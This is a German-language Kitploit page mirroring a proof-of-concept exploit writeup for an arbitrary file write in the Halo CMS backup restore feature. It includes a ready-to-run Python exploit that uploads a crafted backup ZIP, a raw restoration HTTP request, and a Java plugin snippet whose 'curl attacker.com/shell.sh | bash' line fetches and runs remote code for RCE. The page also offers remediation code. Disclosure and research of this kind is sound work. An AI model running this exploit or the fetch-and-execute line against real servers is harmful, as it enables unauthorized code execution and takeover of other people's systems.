Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
halo-2.25.4-backup-write-CVE-2026-67920 — Proof-of-Concept-Exploit für eine Schwachstelle mit beliebigem Dateischreiben bei der Backup-Wiederherstellung von Halo CMS, die RCE über den Austausch von Plugin-JARs oder die Umgehung der Authentifizierung ermöglicht. | Kitploit
Tools/GitHubGitHub/unpredictable21/halo-2.25.4-backup-write-cve-2026-67920
SchwachstellenanalyseCode-AnalyseExploitationWebanwendungs-ExploitationWebsicherheitPenetrationstests
GitHubunpredictable21/halo-2.25.4-backup-write-cve-2026-67920

halo-2.25.4-backup-write-CVE-2026-67920

Proof-of-Concept-Exploit für eine Schwachstelle mit beliebigem Dateischreiben bei der Backup-Wiederherstellung von Halo CMS, die RCE über den Austausch von Plugin-JARs oder die Umgehung der Authentifizierung ermöglicht.

Repository anzeigen
vor 1 MonatNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Halo CMS Backup-Restore-Schwachstelle für beliebiges Schreiben von Dateien

Zusammenfassung

Eine kritische Schwachstelle für beliebiges Schreiben von Dateien existiert in der Backup-Wiederherstellungsfunktion von Halo CMS bis Version 2.25.4. Die Methode restoreWorkdir() in MigrationServiceImpl.java kopiert das Verzeichnis workdir/ aus einem vom Benutzer bereitgestellten Backup-Archiv direkt in das Arbeitsverzeichnis der Halo-Anwendung (~/.halo2/), ohne jegliche Validierung von Dateitypen, Schutz vor Pfad-Traversal oder Prüfung auf symbolische Links. Ein authentifizierter Angreifer mit Backup-Verwaltungsrechten kann eine bösartige Backup-ZIP-Datei erstellen, die beliebige Dateien im Verzeichnis workdir/ enthält, welche bei der Wiederherstellung in das Arbeitsverzeichnis des Servers geschrieben werden, was möglicherweise zu Remote Code Execution (RCE) durch Plugin-JAR-Austausch oder Authentifizierungsumgehung durch RSA-Schlüsselaustausch führt.

CVSS v3.1-Wert: 8.8 (Hoch)
CVSS-Vektor: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H CWE-73 (Externe Kontrolle von Dateinamen oder Pfaden)


CWE:

Betroffene Versionen

  • Halo CMS ≤ 2.25.4
  • Alle Versionen mit Backup-Wiederherstellungsfunktion

Details zur Schwachstelle

Grundursache

Die Schwachstelle befindet sich in der Methode restoreWorkdir() von MigrationServiceImpl.java (Zeilen 230-243):

root@kitploit:~
private Mono<Void> restoreWorkdir(Path backupRoot) {
    return Mono.<Void>create(sink -> {
        try {
            var workdir = backupRoot.resolve("workdir");
            if (Files.exists(workdir)) {
                copyRecursively(workdir, haloProperties.getWorkDir());  // VERWUNDBARE ZEILE
            }
            sink.success();
        } catch (IOException e) {
            sink.error(e);
        }
    }).subscribeOn(scheduler);
}

Die Methode copyRecursively() (Springs FileSystemUtils) führt eine rekursive Kopie ohne Folgendes durch:

  1. Dateityp-Validierung – Keine Prüfung auf Dateierweiterungen oder MIME-Typen
  2. Schutz vor Pfad-Traversal – Keine Prüfung auf ..-Sequenzen in Dateinamen
  3. Erkennung symbolischer Links – Keine Prüfung auf symbolische Links
  4. Dateigrößenbegrenzungen – Keine Einschränkung der Dateigrößen
  5. Überschreibschutz – Vorhandene Dateien werden stillschweigend überschrieben

Angriffsvektor

Die Schwachstelle wird über den Backup-Wiederherstellungs-Endpunkt ausgelöst:

root@kitploit:~
POST /apis/console.api.migration.halo.run/v1alpha1/restorations
Content-Type: multipart/form-data

Der Wiederherstellungsprozess folgt dieser Abfolge:

root@kitploit:~
┌─────────────────────────────────────────────────────────────┐
│  MigrationServiceImpl.restore()                             │
│  1. unpackBackup() → ZIP in temporäres Verzeichnis extrahieren │
│  2. restoreExtensions() → extensions.data wiederherstellen  │
│  3. restoreWorkdir() → workdir/ nach ~/.halo2/ kopieren     │
│     ↑ Beliebige Dateien werden in das Arbeitsverzeichnis geschrieben │
└─────────────────────────────────────────────────────────────┘

Bösartige Backup-Struktur

Eine bösartige Backup-ZIP-Datei muss Folgendes enthalten:

root@kitploit:~
malicious-backup.zip
├── extensions.data          # Erforderlich: Kann leer sein oder gültiges JSONL enthalten
└── workdir/                 # Erforderlich: Inhalt wird nach ~/.halo2/ kopiert
    ├── PWNED_BY_POC.txt     # Proof-of-Concept-Markierungsdatei
    ├── plugins/             # Plugin-JARs für RCE
    │   └── evil-plugin.jar  # Bösartiges Plugin
    └── keys/                # RSA-Schlüssel für Authentifizierungsumgehung
        ├── pat_id_rsa       # Bösartiger privater Schlüssel
        └── pat_id_rsa.pub   # Bösartiger öffentlicher Schlüssel

extensions.data-Format

Die Datei extensions.data muss gültig sein, damit restoreExtensions() erfolgreich ist. Gültige Formate umfassen:

  1. Leere Datei: (leerer Inhalt)

  2. Leere Zeile: \n (nur Zeilenumbruch)

  3. Gültiges JSONL: Ein ExtensionStore-Objekt pro Zeile:

    root@kitploit:~
    {"name": "/registry/test/dummy", "data": "e30=", "version": 1}
    

    Wobei data base64-kodierter Inhalt ist.


Ausnutzungsschritte

Voraussetzungen

  • Authentifizierter Benutzer mit Backup-Verwaltungsrechten
  • Netzwerkzugriff auf die Halo-API

Schritt 1: Bösartiges Backup erstellen

root@kitploit:~
import zipfile
import io

buf = io.BytesIO()
with zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as zf:
    # Leere extensions.data (besteht die restoreExtensions-Validierung)
    zf.writestr('extensions.data', '\n')

    # Beliebige Datei, die nach ~/.halo2/ geschrieben wird
    zf.writestr('workdir/PWNED_BY_POC.txt',
                'Beliebiges Schreiben von Dateien bestätigt!')

with open('malicious-backup.zip', 'wb') as f:
    f.write(buf.getvalue())

Schritt 2: Bösartiges Backup hochladen

Frontend-Backup-Verwaltungsadresse: http://ip:port/console/backup

root@kitploit:~
POST /apis/console.api.migration.halo.run/v1alpha1/restorations HTTP/1.1
Host: target-halo-server
Content-Type: multipart/form-data; boundary=----boundary
Cookie: SESSION=<session_id>

------WebKitFormBoundaryGxAtuAd1a3VkmhZY
Content-Disposition: form-data; name="relativePath"

null
------WebKitFormBoundaryGxAtuAd1a3VkmhZY
Content-Disposition: form-data; name="name"

malicious-backup.zip
------WebKitFormBoundaryGxAtuAd1a3VkmhZY
Content-Disposition: form-data; name="type"

application/x-zip-compressed
------WebKitFormBoundaryGxAtuAd1a3VkmhZY
Content-Disposition: form-data; name="file"; filename="malicious-backup.zip"
Content-Type: application/x-zip-compressed

<ZIP-Datei-Binärinhalt>
------WebKitFormBoundaryGxAtuAd1a3VkmhZY--
image

Schritt 3: Geschriebene Datei verifizieren

root@kitploit:~
# Auf dem Halo-Server
ls -la ~/.halo2/PWNED_BY_POC.txt
cat ~/.halo2/PWNED_BY_POC.txt
image

Auswirkungsanalyse

Direkte Auswirkung

  1. Beliebiges Schreiben von Dateien: Der Angreifer kann beliebige Dateien nach ~/.halo2/ schreiben
  2. Dateiüberschreibung: Vorhandene Dateien werden stillschweigend überschrieben

Eskalationsszenarien

AngriffsvektorZieldateiAuswirkungSchweregrad
Plugin-JAR-Austausch~/.halo2/plugins/*.jarRemote Code ExecutionKritisch
RSA-Schlüsselaustausch~/.halo2/keys/pat_id_rsaAuthentifizierungsumgehungKritisch
Theme-Austausch~/.halo2/themes/*Gespeichertes XSSHoch
Konfigurationsüberschreibung~/.halo2/*.yamlUmgehung von SicherheitskontrollenHoch

RCE durch Plugin-JAR-Austausch

Ein Angreifer kann ein legitimes Plugin-JAR durch ein bösartiges ersetzen, das Folgendes enthält:

root@kitploit:~
@Extension
public class MaliciousExtension {
    @PostConstruct
    public void init() {
        // Beliebigen Befehl ausführen
        Runtime.getRuntime().exec("bash -c 'curl attacker.com/shell.sh | bash'");
    }
}

Wenn das Plugin geladen wird, wird der bösartige Code mit den Rechten des Halo-Prozesses ausgeführt.


Proof of Concept

Python-PoC-Skript

root@kitploit:~
#!/usr/bin/env python3
"""
Halo CMS Backup-Restore-PoC für beliebiges Schreiben von Dateien
Schwachstelle: Backup-Restore beliebiges Schreiben von Dateien
CVSS: 8.8 (Hoch)
"""

import io
import sys
import zipfile
import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

TARGET = sys.argv[1] if len(sys.argv) > 1 else "http://target:8090"
SESSION = sys.argv[2] if len(sys.argv) > 2 else "SESSION=xxx"

def create_malicious_backup():
    buf = io.BytesIO()
    with zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as zf:
        zf.writestr('extensions.data', '\n')
        zf.writestr('workdir/PWNED_BY_POC.txt',
                    'Halo Backup-Restore beliebiges Schreiben von Dateien bestätigt!')
    buf.seek(0)
    return buf

def exploit():
    backup = create_malicious_backup()
    url = f"{TARGET}/apis/console.api.migration.halo.run/v1alpha1/restorations"
    files = {'file': ('backup.zip', backup, 'application/zip')}
    headers = {'Cookie': SESSION}

    r = requests.post(url, files=files, headers=headers, verify=False, timeout=60)
    print(f"Status: {r.status_code}")
    print(f"Antwort: {r.text[:300]}")

    if r.status_code == 200:
        print("\n[+] ERFOLG! Prüfen: cat ~/.halo2/PWNED_BY_POC.txt")

if __name__ == "__main__":
    exploit()

Verifizierung

root@kitploit:~
# PoC ausführen
python3 poc.py http://192.168.49.128:8090 "SESSION=f3d4ae4a-c1ac-46ec-bfe8-82e3206ee232"

# Auf dem Halo-Server
cat ~/.halo2/PWNED_BY_POC.txt

Behebung

Empfohlener Fix

Validierung zur Methode restoreWorkdir() hinzufügen:

root@kitploit:~
private Mono<Void> restoreWorkdir(Path backupRoot) {
    return Mono.<Void>create(sink -> {
        try {
            var workdir = backupRoot.resolve("workdir");
            if (Files.exists(workdir)) {
                // Kein Pfad-Traversal validieren
                checkDirectoryTraversal(backupRoot, workdir);

                // Keine symbolischen Links validieren
                Files.walkFileTree(workdir, new SimpleFileVisitor<Path>() {
                    @Override
                    public FileVisitResult visitFile(Path file, BasicFileAttributes attrs) {
                        if (attrs.isSymbolicLink()) {
                            throw new SecurityException("Symbolische Links nicht erlaubt");
                        }
                        return FileVisitResult.CONTINUE;
                    }
                });

                // Mit Validierung kopieren
                copyRecursively(workdir, haloProperties.getWorkDir());
            }
            sink.success();
        } catch (IOException e) {
            sink.error(e);
        }
    }).subscribeOn(scheduler);
}

Zusätzliche Empfehlungen

  1. Backup-Signierung implementieren: Backups kryptografisch signieren, um Manipulation zu verhindern
  2. Dateityp-Allowlist hinzufügen: Nur bestimmte Dateitypen in workdir zulassen
  3. Dateigrößenbegrenzungen implementieren: Maximale Dateigrößen einschränken
  4. Audit-Protokollierung hinzufügen: Alle Backup-Wiederherstellungsvorgänge protokollieren
  5. Erneute Authentifizierung verlangen: Passwortbestätigung für die Backup-Wiederherstellung anfordern

Referenzen

  • Anbieter: https://github.com/halo-dev/halo
  • Betroffener Code: application/src/main/java/run/halo/app/migration/impl/MigrationServiceImpl.java
  • CWE-73: https://cwe.mitre.org/data/definitions/73.html
  • CVSS-Rechner: https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Zeitplan

  • Entdeckungsdatum: 2026-07-10
  • Benachrichtigung des Anbieters: [Ausstehend]
  • Öffentliche Offenlegung: [Ausstehend]

Danksagungen

  • Entdecker: LIAN

Haftungsausschluss

Diese Offenlegung der Schwachstelle dient ausschließlich Forschungszwecken im Bereich der Sicherheit. Der Autor ist nicht verantwortlich für jeglichen Missbrauch dieser Informationen. Holen Sie immer die entsprechende Genehmigung ein, bevor Sie Systeme auf Schwachstellen testen.

Tool herunterladen